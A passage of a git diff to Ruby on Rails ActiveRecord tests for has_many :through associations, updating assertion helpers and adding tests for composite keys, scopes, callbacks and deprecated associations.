+    assert_empty(tag.orders)
+    assert_empty(tag.orders.reload)
+  end
+
+  def test_composite_primary_key_join_table
+    order = Cpk::Order.create(shop_id: 1, status: "open")
+    tag = cpk_tags(:cpk_tag_loyal_customer)
+
+    order_tag = Cpk::OrderTag.create(order_id: order.id_value, tag_id: tag.id, attached_by: "Nikita")
+
+    assert_equal(order, order_tag.order)
+    assert_equal(tag, order_tag.tag)
+    order_tag.update(attached_reason: "This is our loyal customer")
+
+    order_tag = order.order_tags.find { |order_tag| order_tag.tag_id == tag.id }
+
+    assert_equal("This is our loyal customer", order_tag.attached_reason)
+  end
+
+  def test_destroy_all_on_association_clears_scope
+    post = Post.create!(title: "Rails 6", body: "")
+    people = post.people
+    people.create!(first_name: "Jeb")
+    people.destroy_all
+    assert_nil people.first
+  end
+
+  def test_destroy_on_association_clears_scope
+    post = Post.create!(title: "Rails 6", body: "")
+    people = post.people
+    person = people.create!(first_name: "Jeb")
+    people.destroy(person)
+    assert_nil people.first
+  end
+
+  def test_delete_on_association_clears_scope
+    post = Post.create!(title: "Rails 6", body: "")
+    people = post.people
+    person = people.create!(first_name: "Jeb")
+    people.delete(person)
+    assert_nil people.first
   end
 
   def test_should_raise_exception_for_destroying_mismatching_records
@@ -543,24 +656,44 @@ def test_update_counter_caches_on_destroy
     end
   end
 
+  def test_update_counter_caches_on_destroy_with_indestructible_through_record
+    post = posts(:welcome)
+    tag  = post.indestructible_tags.create!(name: "doomed")
+    post.update_columns(indestructible_tags_count: post.indestructible_tags.count)
+
+    assert_no_difference "post.reload.indestructible_tags_count" do
+      posts(:welcome).indestructible_tags.destroy(tag)
+    end
+  end
+
   def test_replace_association
-    assert_queries(4) { posts(:welcome);people(:david);people(:michael); posts(:welcome).people.reload }
+    assert_queries_count(4) { posts(:welcome); people(:david); people(:michael); posts(:welcome).people.reload }
 
     # 1 query to delete the existing reader (michael)
     # 1 query to associate the new reader (david)
-    assert_queries(2) do
+    assert_queries_count(4) do
       posts(:welcome).people = [people(:david)]
     end
 
-    assert_queries(0) {
+    assert_no_queries do
       assert_includes posts(:welcome).people, people(:david)
       assert_not_includes posts(:welcome).people, people(:michael)
-    }
+    end
 
     assert_includes posts(:welcome).reload.people.reload, people(:david)
     assert_not_includes posts(:welcome).reload.people.reload, people(:michael)
   end
 
+  def test_replace_association_with_duplicates
+    post   = posts(:thinking)
+    person = people(:david)
+
+    assert_difference "post.people.count", 2 do
+      post.people = [person]
+      post.people = [person, person]
+    end
+  end
+
   def test_replace_order_is_preserved
     posts(:welcome).people.clear
     posts(:welcome).people = [people(:david), people(:michael)]
@@ -584,16 +717,16 @@ def test_replace_by_id_order_is_preserved
   end
 
   def test_associate_with_create
-    assert_queries(1) { posts(:thinking) }
+    assert_queries_count(1) { posts(:thinking) }
 
     # 1 query for the new record, 1 for the join table record
     # No need to update the actual collection yet!
-    assert_queries(2) do
+    assert_queries_count(4) do
       posts(:thinking).people.create(first_name: "Jeb")
     end
 
     # *Now* we actually need the collection so it's loaded
-    assert_queries(1) do
+    assert_queries_count(1) do
       assert_includes posts(:thinking).people.collect(&:first_name), "Jeb"
     end
 
@@ -602,8 +735,10 @@ def test_associate_with_create
 
   def test_through_record_is_built_when_created_with_where
     assert_difference("posts(:thinking).readers.count", 1) do
-      posts(:thinking).people.where(first_name: "Jeb").create
+      posts(:thinking).people.where(readers: { skimmer: true }).create(first_name: "Jeb")
     end
+    reader = posts(:thinking).readers.last
+    assert_equal true, reader.skimmer
   end
 
   def test_associate_with_create_and_no_options
@@ -661,29 +796,33 @@ def test_push_with_invalid_record
 
   def test_push_with_invalid_join_record
     repair_validations(Contract) do
-      Contract.validate { |r| r.errors[:base] << "Invalid Contract" }
+      Contract.validate { |r| r.errors.add(:base, "Invalid Contract") }
 
       firm = companies(:first_firm)
       lifo = Developer.new(name: "lifo")
-      assert_raises(ActiveRecord::RecordInvalid) { firm.developers << lifo }
+      assert_raises(ActiveRecord::RecordInvalid) do
+        assert_deprecated(ActiveRecord.deprecator) { firm.developers << lifo }
+      end
 
       lifo = Developer.create!(name: "lifo")
-      assert_raises(ActiveRecord::RecordInvalid) { firm.developers << lifo }
+      assert_raises(ActiveRecord::RecordInvalid) do
+        assert_deprecated(ActiveRecord.deprecator) { firm.developers << lifo }
+      end
     end
   end
 
   def test_clear_associations
-    assert_queries(2) { posts(:welcome);posts(:welcome).people.reload }
+    assert_queries_count(2) { posts(:welcome); posts(:welcome).people.reload }
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       posts(:welcome).people.clear
     end
 
-    assert_queries(0) do
-      assert posts(:welcome).people.empty?
+    assert_no_queries do
+      assert_empty posts(:welcome).people
     end
 
-    assert posts(:welcome).reload.people.reload.empty?
+    assert_empty posts(:welcome).reload.people.reload
   end
 
   def test_association_callback_ordering
@@ -727,6 +866,18 @@ def test_association_callback_ordering
       [:added, :before, "Roger"],
       [:added, :after, "Roger"]
     ], log.last(4)
+
+    post.people_with_callbacks.build { |person| person.first_name = "Ted" }
+    assert_equal [
+      [:added, :before, "Ted"],
+      [:added, :after, "Ted"]
+    ], log.last(2)
+
+    post.people_with_callbacks.create { |person| person.first_name = "Sam" }
+    assert_equal [
+      [:added, :before, "Sam"],
+      [:added, :after, "Sam"]
+    ], log.last(2)
   end
 
   def test_dynamic_find_should_respect_association_include
@@ -757,7 +908,7 @@ def test_get_ids_for_has_many_through_with_conditions_should_not_preload
   def test_get_ids_for_loaded_associations
     person = people(:michael)
     person.posts.reload
-    assert_queries(0) do
+    assert_no_queries do
       person.post_ids
       person.post_ids
     end
@@ -765,9 +916,9 @@ def test_get_ids_for_loaded_associations
 
   def test_get_ids_for_unloaded_associations_does_not_load_them
     person = people(:michael)
-    assert !person.posts.loaded?
+    assert_not_predicate person.posts, :loaded?
     assert_equal [posts(:welcome).id, posts(:authorless).id].sort, person.post_ids.sort
-    assert !person.posts.loaded?
+    assert_not_predicate person.posts, :loaded?
   end
 
   def test_association_proxy_transaction_method_starts_transaction_in_association_class
@@ -778,6 +929,16 @@ def test_association_proxy_transaction_method_starts_transaction_in_association_
     end
   end
 
+  def test_has_many_through_uses_the_through_model_to_create_transactions
+    post   = posts(:thinking)
+    person = people(:david)
+    other_person = people(:michael)
+
+    assert_called(Reader, :transaction) do
+      post.people = [person, other_person]
+    end
+  end
+
   def test_has_many_association_through_a_belongs_to_association_where_the_association_doesnt_exist
     post = Post.create!(title: "TITLE", body: "BODY")
     assert_equal [], post.author_favorites
@@ -822,7 +983,7 @@ def test_has_many_association_through_a_has_many_association_to_self
     sarah = Person.create!(first_name: "Sarah", primary_contact_id: people(:susan).id, gender: "F", number1_fan_id: 1)
     john = Person.create!(first_name: "John", primary_contact_id: sarah.id, gender: "M", number1_fan_id: 1)
     assert_equal sarah.agents, [john]
-    assert_equal people(:susan).agents.flat_map(&:agents), people(:susan).agents_of_agents
+    assert_equal people(:susan).agents.flat_map(&:agents).sort, people(:susan).agents_of_agents.sort
   end
 
   def test_associate_existing_with_nonstandard_primary_key_on_belongs_to
@@ -856,8 +1017,8 @@ def test_collection_delete_with_nonstandard_primary_key_on_belongs_to
     author   = authors(:mary)
     category = author.named_categories.create(name: "Primary")
     author.named_categories.delete(category)
-    assert !Categorization.exists?(author_id: author.id, named_category_name: category.name)
-    assert author.named_categories.reload.empty?
+    assert_not Categorization.exists?(author_id: author.id, named_category_name: category.name)
+    assert_empty author.named_categories.reload
   end
 
   def test_collection_singular_ids_getter_with_string_primary_keys
@@ -874,6 +1035,14 @@ def test_collection_singular_ids_setter
     assert_equal [dev], company.developers
   end
 
+  def test_collection_singular_ids_setter_with_required_type_cast
+    company = companies(:rails_core)
+    dev = Developer.first
+
+    company.developer_ids = [dev.id.to_s]
+    assert_equal [dev], company.developers
+  end
+
   def test_collection_singular_ids_setter_with_string_primary_keys
     assert_nothing_raised do
       book = books(:awdr)
@@ -885,32 +1054,20 @@ def test_collection_singular_ids_setter_with_string_primary_keys
     end
   end
 
-  def test_collection_singular_ids_setter_with_changed_primary_key
-    company = companies(:first_firm)
-    client = companies(:first_client)
-    company.clients_using_primary_key_ids = [client.name]
-    assert_equal [client], company.clients_using_primary_key
-  end
-
   def test_collection_singular_ids_setter_raises_exception_when_invalid_ids_set
     company = companies(:rails_core)
     ids = [Developer.first.id, -9999]
     e = assert_raises(ActiveRecord::RecordNotFound) { company.developer_ids = ids }
-    assert_match(/Couldn't find all Developers with 'id'/, e.message)
-  end
-
-  def test_collection_singular_ids_setter_raises_exception_when_invalid_ids_set_with_changed_primary_key
-    company = companies(:first_firm)
-    ids = [Client.first.name, "unknown client"]
-    e = assert_raises(ActiveRecord::RecordNotFound) { company.clients_using_primary_key_ids = ids }
-    assert_match(/Couldn't find all Clients with 'name'/, e.message)
+    msg = "Couldn't find all Developers with 'id': (1, -9999) (found 1 results, but was looking for 2). Couldn't find Developer with id -9999."
+    assert_equal(msg, e.message)
   end
 
   def test_collection_singular_ids_through_setter_raises_exception_when_invalid_ids_set
     author = authors(:david)
     ids = [categories(:general).name, "Unknown"]
     e = assert_raises(ActiveRecord::RecordNotFound) { author.essay_category_ids = ids }
-    assert_equal "Couldn't find all Categories with 'name': (General, Unknown) (found 1 results, but was looking for 2)", e.message
+    msg = %{Couldn't find all Categories with 'name': ("General", "Unknown") (found 1 results, but was looking for 2). Couldn't find Category with name "Unknown".}
+    assert_equal msg, e.message
   end
 
   def test_build_a_model_from_hm_through_association_with_where_clause
@@ -919,13 +1076,13 @@ def test_build_a_model_from_hm_through_association_with_where_clause
 
   def test_attributes_are_being_set_when_initialized_from_hm_through_association_with_where_clause
     new_subscriber = books(:awdr).subscribers.where(nick: "marklazz").build
-    assert_equal new_subscriber.nick, "marklazz"
+    assert_equal "marklazz", new_subscriber.nick
   end
 
   def test_attributes_are_being_set_when_initialized_from_hm_through_association_with_multiple_where_clauses
     new_subscriber = books(:awdr).subscribers.where(nick: "marklazz").where(name: "Marcelo Giorgi").build
-    assert_equal new_subscriber.nick, "marklazz"
-    assert_equal new_subscriber.name, "Marcelo Giorgi"
+    assert_equal "marklazz", new_subscriber.nick
+    assert_equal "Marcelo Giorgi", new_subscriber.name
   end
 
   def test_include_method_in_association_through_should_return_true_for_instance_added_with_build
@@ -943,8 +1100,8 @@ def test_include_method_in_association_through_should_return_true_for_instance_a
   end
 
   def test_through_association_readonly_should_be_false
-    assert !people(:michael).posts.first.readonly?
-    assert !people(:michael).posts.to_a.first.readonly?
+    assert_not_predicate people(:michael).posts.first, :readonly?
+    assert_not_predicate people(:michael).posts.to_a.first, :readonly?
   end
 
   def test_can_update_through_association
@@ -953,6 +1110,46 @@ def test_can_update_through_association
     end
   end
 
+  def test_has_many_through_with_source_scope
+    expected = [readers(:michael_welcome).becomes(LazyReader)]
+    assert_equal expected, Author.first.lazy_readers_skimmers_or_not
+    assert_equal expected, Author.preload(:lazy_readers_skimmers_or_not).first.lazy_readers_skimmers_or_not
+    assert_equal expected, Author.eager_load(:lazy_readers_skimmers_or_not).first.lazy_readers_skimmers_or_not
+  end
+
+  def test_has_many_through_with_through_scope_with_includes
+    expected = [readers(:bob_welcome).becomes(LazyReader)]
+    assert_equal expected, Author.last.lazy_readers_skimmers_or_not_2
+    assert_equal expected, Author.preload(:lazy_readers_skimmers_or_not_2).last.lazy_readers_skimmers_or_not_2
+    assert_equal expected, Author.eager_load(:lazy_readers_skimmers_or_not_2).last.lazy_readers_skimmers_or_not_2
+  end
+
+  def test_has_many_through_with_through_scope_with_joins
+    expected = [readers(:bob_welcome).becomes(LazyReader)]
+    assert_equal expected, Author.last.lazy_readers_skimmers_or_not_3
+    assert_equal expected, Author.preload(:lazy_readers_skimmers_or_not_3).last.lazy_readers_skimmers_or_not_3
+    assert_equal expected, Author.eager_load(:lazy_readers_skimmers_or_not_3).last.lazy_readers_skimmers_or_not_3
+  end
+
+  def test_duplicated_has_many_through_with_through_scope_with_joins
+    Categorization.create!(author: authors(:david), post: posts(:thinking), category: categories(:technology))
+
+    expected = [categorizations(:david_welcome_general)]
+    assert_equal expected, Author.preload(:general_posts, :general_categorizations).first.general_categorizations
+    assert_equal expected, Author.eager_load(:general_posts, :general_categorizations).first.general_categorizations
+
+    expected = [posts(:welcome)]
+    assert_equal expected, Author.preload(:general_categorizations, :general_posts).first.general_posts
+    assert_equal expected, Author.eager_load(:general_categorizations, :general_posts).first.general_posts
+  end
+
+  def test_has_many_through_polymorphic_with_rewhere
+    post = TaggedPost.create!(title: "Tagged", body: "Post")
+    tag = post.tags.create!(name: "Tag")
+    assert_equal [tag], TaggedPost.preload(:tags).last.tags
+    assert_equal [tag], TaggedPost.eager_load(:tags).last.tags
+  end
+
   def test_has_many_through_polymorphic_with_primary_key_option
     assert_equal [categories(:general)], authors(:david).essay_categories
 
@@ -1026,12 +1223,12 @@ def test_has_many_through_belongs_to_should_update_when_the_through_foreign_key_
     post.author_categorizations
     proxy = post.send(:association_instance_get, :author_categorizations)
 
-    assert !proxy.stale_target?
+    assert_not_predicate proxy, :stale_target?
     assert_equal authors(:mary).categorizations.sort_by(&:id), post.author_categorizations.sort_by(&:id)
 
     post.author_id = authors(:david).id
 
-    assert proxy.stale_target?
+    assert_predicate proxy, :stale_target?
     assert_equal authors(:david).categorizations.sort_by(&:id), post.author_categorizations.sort_by(&:id)
   end
 
@@ -1039,7 +1236,7 @@ def test_create_with_conditions_hash_on_through_association
     member = members(:groucho)
     club   = member.clubs.create!
 
-    assert_equal true, club.reload.membership.favourite
+    assert_equal true, club.reload.membership.favorite
   end
 
   def test_deleting_from_has_many_through_a_belongs_to_should_not_try_to_update_counter
@@ -1048,7 +1245,7 @@ def test_deleting_from_has_many_through_a_belongs_to_should_not_try_to_update_co
 
     assert_includes post.author_addresses, address
     post.author_addresses.delete(address)
-    assert post[:author_count].nil?
+    assert_nil post[:author_count]
   end
 
   def test_primary_key_option_on_source
@@ -1063,8 +1260,10 @@ def test_primary_key_option_on_source
 
   def test_create_should_not_raise_exception_when_join_record_has_errors
     repair_validations(Categorization) do
-      Categorization.validate { |r| r.errors[:base] << "Invalid Categorization" }
-      Category.create(name: "Fishing", authors: [Author.first])
+      Categorization.validate { |r| r.errors.add(:base, "Invalid Categorization") }
+      assert_nothing_raised do
+        Category.create(name: "Fishing", authors: [Author.first])
+      end
     end
   end
 
@@ -1075,7 +1274,7 @@ def test_assign_array_to_new_record_builds_join_records
 
   def test_create_bang_should_raise_exception_when_join_record_has_errors
     repair_validations(Categorization) do
-      Categorization.validate { |r| r.errors[:base] << "Invalid Categorization" }
+      Categorization.validate { |r| r.errors.add(:base, "Invalid Categorization") }
       assert_raises(ActiveRecord::RecordInvalid) do
         Category.create!(name: "Fishing", authors: [Author.first])
       end
@@ -1084,7 +1283,7 @@ def test_create_bang_should_raise_exception_when_join_record_has_errors
 
   def test_save_bang_should_raise_exception_when_join_record_has_errors
     repair_validations(Categorization) do
-      Categorization.validate { |r| r.errors[:base] << "Invalid Categorization" }
+      Categorization.validate { |r| r.errors.add(:base, "Invalid Categorization") }
       c = Category.new(name: "Fishing", authors: [Author.first])
       assert_raises(ActiveRecord::RecordInvalid) do
         c.save!
@@ -1094,7 +1293,7 @@ def test_save_bang_should_raise_exception_when_join_record_has_errors
 
   def test_save_returns_falsy_when_join_record_has_errors
     repair_validations(Categorization) do
-      Categorization.validate { |r| r.errors[:base] << "Invalid Categorization" }
+      Categorization.validate { |r| r.errors.add(:base, "Invalid Categorization") }
       c = Category.new(name: "Fishing", authors: [Author.first])
       assert_not c.save
     end
@@ -1104,7 +1303,7 @@ def test_preloading_empty_through_association_via_joins
     person = Person.create!(first_name: "Gaga")
     person = Person.where(id: person.id).where("readers.id = 1 or 1=1").references(:readers).includes(:posts).to_a.first
 
-    assert person.posts.loaded?, "person.posts should be loaded"
+    assert_predicate person.posts, :loaded?, "person.posts should be loaded"
     assert_equal [], person.posts
   end
 
@@ -1129,16 +1328,51 @@ def test_has_many_through_with_polymorphic_source
     assert_equal [tags(:general)], post.reload.tags
   end
 
+  def test_has_many_through_with_polymorhic_join_model
+    zine = Zine.create!
+
+    assert_nothing_raised { zine.polymorphic_humans.build.save! }
+
+    assert_equal 1, zine.polymorphic_humans.count
+    assert_equal 1, zine.interests.count
+  end
+
   def test_has_many_through_obeys_order_on_through_association
     owner = owners(:blackbeard)
     assert_includes owner.toys.to_sql, "pets.name desc"
     assert_equal ["parrot", "bulbul"], owner.toys.map { |r| r.pet.name }
   end
 
+  def test_has_many_through_associations_sum_on_columns
+    post1 = Post.create(title: "active", body: "sample")
+    post2 = Post.create(title: "inactive", body: "sample")
+
+    person1 = Person.create(first_name: "aaron", followers_count: 1)
+    person2 = Person.create(first_name: "schmit", followers_count: 2)
+    person3 = Person.create(first_name: "bill", followers_count: 3)
+    person4 = Person.create(first_name: "cal", followers_count: 4)
+
+    Reader.create(post_id: post1.id, person_id: person1.id)
+    Reader.create(post_id: post1.id, person_id: person2.id)
+    Reader.create(post_id: post1.id, person_id: person3.id)
+    Reader.create(post_id: post1.id, person_id: person4.id)
+
+    Reader.create(post_id: post2.id, person_id: person1.id)
+    Reader.create(post_id: post2.id, person_id: person2.id)
+    Reader.create(post_id: post2.id, person_id: person3.id)
+    Reader.create(post_id: post2.id, person_id: person4.id)
+
+    active_persons = Person.joins(:readers).joins(:posts).distinct(true).where("posts.title" => "active")
+
+    assert_equal 10, active_persons.map(&:followers_count).reduce(:+)
+    assert_equal 10, active_persons.sum(:followers_count)
+    assert_equal active_persons.sum(:followers_count), active_persons.map(&:followers_count).reduce(:+)
+  end
+
   def test_has_many_through_associations_on_new_records_use_null_relations
     person = Person.new
 
-    assert_no_queries(ignore_none: false) do
+    assert_no_queries do
       assert_equal [], person.posts
       assert_equal [], person.posts.where(body: "omg")
       assert_equal [], person.posts.pluck(:body)
@@ -1164,11 +1398,23 @@ def test_insert_records_via_has_many_through_association_with_scope
     member = Member.create!
     Membership.create!(club: club, member: member)
 
-    club.favourites << member
-    assert_equal [member], club.favourites
+    club.favorites << member
+    assert_equal [member], club.favorites
 
     club.reload
-    assert_equal [member], club.favourites
+    assert_equal [member], club.favorites
+  end
+
+  def test_insert_records_via_has_many_through_association_with_scope_and_association_name_different_from_the_joining_table_name
+    club = Club.create!
+    member = Member.create!
+    Membership.create!(club: club, member: member)
+
+    club.custom_favorites << member
+    assert_equal [member], club.custom_favorites
+
+    club.reload
+    assert_equal [member], club.custom_favorites
   end
 
   def test_has_many_through_unscope_default_scope
@@ -1201,9 +1447,9 @@ def test_build_for_has_many_through_association
 
   def test_has_many_through_with_scope_that_should_not_be_fully_merged
     Club.has_many :distinct_memberships, -> { distinct }, class_name: "Membership"
-    Club.has_many :special_favourites, through: :distinct_memberships, source: :member
+    Club.has_many :special_favorites, through: :distinct_memberships, source: :member
 
-    assert_nil Club.new.special_favourites.distinct_value
+    assert_nil Club.new.special_favorites.distinct_value
   end
 
   def test_has_many_through_do_not_cache_association_reader_if_the_though_method_has_default_scopes
@@ -1234,6 +1480,22 @@ def test_has_many_through_do_not_cache_association_reader_if_the_though_method_h
     TenantMembership.current_member = nil
   end
 
+  def test_has_many_through_with_scope_that_has_joined_same_table_with_parent_relation
+    assert_equal authors(:david), Author.joins(:comments_for_first_author).take
+  end
+
+  def test_has_many_through_with_left_joined_same_table_with_through_table
+    assert_equal [comments(:eager_other_comment1)], authors(:mary).comments.left_joins(:post)
+  end
+
+  def test_has_many_through_with_unscope_should_affect_to_through_scope
+    assert_equal [comments(:eager_other_comment1)], authors(:mary).unordered_comments
+  end
+
+  def test_has_many_through_with_scope_should_accept_string_and_hash_join
+    assert_equal authors(:david), Author.joins({ comments_for_first_author: :post }, "inner join posts posts_alias on authors.id = posts_alias.author_id").eager_load(:categories).take
+  end
+
   def test_has_many_through_with_scope_should_respect_table_alias
     family = Family.create!
     users = 3.times.map { User.create! }
@@ -1245,6 +1507,25 @@ def test_has_many_through_with_scope_should_respect_table_alias
     assert_equal 0, users[2].family_members.to_a.size
   end
 
+  def test_through_scope_is_affected_by_unscoping
+    author = authors(:david)
+
+    expected = author.comments.to_a
+    FirstPost.unscoped do
+      assert_equal expected.sort_by(&:id), author.comments_on_first_posts.sort_by(&:id)
+    end
+  end
+
+  def test_through_scope_isnt_affected_by_scoping
+    author = authors(:david)
+
+    expected = author.comments_on_first_posts.to_a
+    FirstPost.where(id: 2).scoping do
+      author.comments_on_first_posts.reset
+      assert_equal expected.sort_by(&:id), author.comments_on_first_posts.sort_by(&:id)
+    end
+  end
+
   def test_incorrectly_ordered_through_associations
     assert_raises(ActiveRecord::HasManyThroughOrderError) do
       DeveloperWithIncorrectlyOrderedHasManyThrough.create(
@@ -1252,4 +1533,247 @@ def test_incorrectly_ordered_through_associations
       )
     end
   end
+
+  def test_has_many_through_update_ids_with_conditions
+    author = Author.create!(name: "Bill")
+    category = categories(:general)
+
+    author.update(
+      special_categories_with_condition_ids: [category.id],
+      nonspecial_categories_with_condition_ids: [category.id]
+    )
+
+    assert_equal [category.id], author.special_categories_with_condition_ids
+    assert_equal [category.id], author.nonspecial_categories_with_condition_ids
+
+    author.update(nonspecial_categories_with_condition_ids: [])
+    author.reload
+
+    assert_equal [category.id], author.special_categories_with_condition_ids
+    assert_equal [], author.nonspecial_categories_with_condition_ids
+  end
+
+  def test_has_many_through_from_same_parent_to_same_child_creates_join_models
+    club = Club.new(name: "Awesome Rails Club")
+    member = club.simple_members.build(name: "Jane Doe")
+
+    program = Program.new(name: "Learn Ruby on Rails")
+    program.members << member
+
+    club.programs << program
+
+    club.save!
+
+    assert_equal(1, program.enrollments.size)
+    assert_equal(1, club.simple_memberships.size)
+  end
+
+  def test_single_has_many_through_association_with_unpersisted_parent_instance
+    post_with_single_has_many_through = Class.new(Post) do
+      def self.name; "PostWithSingleHasManyThrough"; end
+      has_many :subscriptions, through: :author
+    end
+    post = post_with_single_has_many_through.new
+
+    post.author = authors(:mary)
+    book1 = Book.create!(name: "essays on single has many through associations 1")
+    post.author.books << book1
+    subscription1 = Subscription.first
+    book1.subscriptions << subscription1
+    assert_equal [subscription1], post.subscriptions.to_a
+
+    post.author = authors(:bob)
+    book2 = Book.create!(name: "essays on single has many through associations 2")
+    post.author.books << book2
+    subscription2 = Subscription.second
+    book2.subscriptions << subscription2
+    assert_equal [subscription2], post.subscriptions.to_a
+  end
+
+  def test_nested_has_many_through_association_with_unpersisted_parent_instance
+    post_with_nested_has_many_through = Class.new(Post) do
+      def self.name; "PostWithNestedHasManyThrough"; end
+      has_many :books, through: :author
+      has_many :subscriptions, through: :books
+    end
+    post = post_with_nested_has_many_through.new
+
+    post.author = authors(:mary)
+    book1 = Book.create!(name: "essays on nested has many through associations 1")
+    post.author.books << book1
+    subscription1 = Subscription.first
+    book1.subscriptions << subscription1
+    assert_equal [subscription1], post.subscriptions.to_a
+
+    post.author = authors(:bob)
+    book2 = Book.create!(name: "essays on nested has many through associations 2")
+    post.author.books << book2
+    subscription2 = Subscription.second
+    book2.subscriptions << subscription2
+    assert_equal [subscription2], post.subscriptions.to_a
+  end
+
+  def test_child_is_visible_to_join_model_in_add_association_callbacks
+    [:before_add, :after_add].each do |callback_name|
+      sentient_treasure = Class.new(Treasure) do
+        def self.name; "SentientTreasure"; end
+
+        has_many :pet_treasures, foreign_key: :treasure_id, callback_name => :check_pet!
+        has_many :pets, through: :pet_treasures
+
+        def check_pet!(added)
+          raise "No pet!" if added.pet.nil?
+        end
+      end
+
+      treasure = sentient_treasure.new
+      assert_nothing_raised { treasure.pets << pets(:mochi) }
+    end
+  end
+
+  def test_circular_autosave_association_correctly_saves_multiple_records
+    cs180 = Seminar.new(name: "CS180")
+    fall = Session.new(name: "Fall")
+    sections = [
+      cs180.sections.build(short_name: "A"),
+      cs180.sections.build(short_name: "B"),
+    ]
+    fall.sections << sections
+    fall.save!
+    fall.reload
+    assert_equal sections, fall.sections.sort_by(&:id)
+  end
+
+  def test_post_has_many_tags_through_association_with_composite_query_constraints
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    expected_tag_ids = Sharded::BlogPostTag.where(blog_post_id: blog_post.id, blog_id: blog_post.blog_id).pluck(:tag_id)
+    tag_ids = []
+    sql = capture_sql do
+      tag_ids = blog_post.tags.to_a.map(&:id)
+    end.first
+
+    quoted_tags_blog_id = Regexp.escape(quote_table_name("sharded_tags.blog_id"))
+    quoted_posts_tags_blog_id = Regexp.escape(quote_table_name("sharded_blog_posts_tags.blog_id"))
+    assert_match(/.* ON.* #{quoted_tags_blog_id} = #{quoted_posts_tags_blog_id} .* WHERE/, sql)
+    assert_match(/.* WHERE #{quoted_posts_tags_blog_id} = .*/, sql)
+
+    assert_not_empty(tag_ids)
+    assert_equal(expected_tag_ids.sort, tag_ids.sort)
+  end
+
+  def test_tags_has_manu_posts_through_association_with_composite_query_constraints
+    tag = sharded_tags(:short_read_blog_one)
+    expected_blog_post_ids = Sharded::BlogPostTag.where(tag_id: tag.id, blog_id: tag.blog_id).pluck(:blog_post_id)
+    blog_post_ids = []
+    sql = capture_sql do
+      blog_post_ids = tag.blog_posts.to_a.map(&:id)
+    end.first
+
+    quoted_blog_posts_blog_id = Regexp.escape(quote_table_name("sharded_blog_posts.blog_id"))
+    quoted_posts_tags_blog_id = Regexp.escape(quote_table_name("sharded_blog_posts_tags.blog_id"))
+    assert_match(/.* ON.* #{quoted_blog_posts_blog_id} = #{quoted_posts_tags_blog_id} .* WHERE/, sql)
+    assert_match(/.* WHERE #{quoted_posts_tags_blog_id} = .*/, sql)
+
+    assert_not_empty(blog_post_ids)
+    assert_equal(expected_blog_post_ids.sort, blog_post_ids.sort)
+  end
+
+  def test_loading_cpk_association_with_unpersisted_owner
+    order = Cpk::Order.create!(shop_id: 1)
+    book = Cpk::BookWithOrderAgreements.new(id: [1, 2], order: order)
+    order_agreement = Cpk::OrderAgreement.create!(order: order)
+
+    assert_equal([order_agreement], book.order_agreements.to_a)
+  end
+
+  def test_cpk_stale_target
+    order = Cpk::Order.create!(shop_id: 1)
+    book = Cpk::BookWithOrderAgreements.create!(id: [1, 2], order: order)
+    Cpk::OrderAgreement.create!(order: order)
+
+    book.order_agreements.load
+    book.order = Cpk::Order.new
+
+    assert_predicate(book.association(:order_agreements), :stale_target?)
+  end
+
+  def test_cpk_association_build_through_singular
+    order = Cpk::OrderWithSingularBookChapters.create!(id: [1, 2])
+    book = order.create_book!(id: [3, 4])
+    chapter = order.chapters.build
+
+    assert_equal(chapter.book, book)
+  end
+
+  private
+    def make_model(name)
+      Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+    end
+
+    def make_no_pk_hm_t
+      lesson = make_model "Lesson"
+      student = make_model "Student"
+
+      lesson_student = make_model "LessonStudent"
+      lesson_student.table_name = "lessons_students"
+
+      lesson_student.belongs_to :lesson, anonymous_class: lesson
+      lesson_student.belongs_to :student, anonymous_class: student
+      lesson.has_many :lesson_students, anonymous_class: lesson_student
+      lesson.has_many :students, through: :lesson_students, anonymous_class: student
+      [lesson, lesson_student, student]
+    end
+end
+
+class DeprecatedHasManyThroughAssociationsTest < ActiveRecord::TestCase
+  include DeprecatedAssociationsTestHelpers
+
+  fixtures :authors, :author_addresses
+
+  setup do
+    @model = DATS::Author
+    @author = @model.first
+  end
+
+  test "the has_many itself is deprecated" do
+    assert_not_deprecated_association(:comments) do
+      @author.comments
+    end
+
+    assert_deprecated_association(:deprecated_has_many_through, context: context_for_method(:deprecated_has_many_through)) do
+      @author.deprecated_has_many_through
+    end
+  end
+
+  test "the through association is deprecated" do
+    assert_deprecated_association(:deprecated_posts, context: context_for_through(:deprecated_through)) do
+      @author.deprecated_through
+    end
+  end
+
+  test "the source association is deprecated" do
+    assert_deprecated_association(:deprecated_comments, model: DATS::Post, context: context_for_through(:deprecated_source)) do
+      @author.deprecated_source
+    end
+  end
+
+  test "all deprecated" do
+    assert_deprecated_association(:deprecated_all, context: context_for_method(:deprecated_all)) do
+      @author.deprecated_all
+    end
+
+    assert_deprecated_association(:deprecated_posts, context: context_for_through(:deprecated_all)) do
+      @author.deprecated_all
+    end
+
+    assert_deprecated_association(:deprecated_comments, model: DATS::Post, context: context_for_through(:deprecated_all)) do
+      @author.deprecated_all
+    end
+  end
+
+  test "deprecated nested association" do
+    assert_deprecated_association(:deprecated_author_favorites, context: context_for_through(:deprecated_nested)) do
+      @author.deprecated_nested.uniq
+    end
+  end
 end
diff --git a/activerecord/test/cases/associations/has_many_through_disable_joins_associations_test.rb b/activerecord/test/cases/associations/has_many_through_disable_joins_associations_test.rb
new file mode 100644
index 0000000000000..20f4dd5c98bbb
--- /dev/null
+++ b/activerecord/test/cases/associations/has_many_through_disable_joins_associations_test.rb
@@ -0,0 +1,197 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/post"
+require "models/author"
+require "models/comment"
+require "models/rating"
+require "models/member"
+require "models/member_type"
+
+require "models/pirate"
+require "models/treasure"
+require "models/parrot"
+
+require "models/hotel"
+require "models/department"
+
+class HasManyThroughDisableJoinsAssociationsTest < ActiveRecord::TestCase
+  fixtures :posts, :authors, :comments, :pirates, :author_addresses
+
+  def setup
+    @author = authors(:mary)
+    @post = @author.posts.create(title: "title", body: "body")
+    @member_type = MemberType.create(name: "club")
+    @member = Member.create(member_type: @member_type)
+    @comment = @post.comments.create(body: "text", origin: @member)
+    @post2 = @author.posts.create(title: "title", body: "body")
+    @member2 = Member.create(member_type: @member_type)
+    @comment2 = @post2.comments.create(body: "text", origin: @member2)
+    @rating1 = @comment.ratings.create(value: 8)
+    @rating2 = @comment.ratings.create(value: 9)
+  end
+
+  def test_counting_on_disable_joins_through
+    assert_equal @author.comments.count, @author.no_joins_comments.count
+    assert_queries_count(2) { @author.no_joins_comments.count }
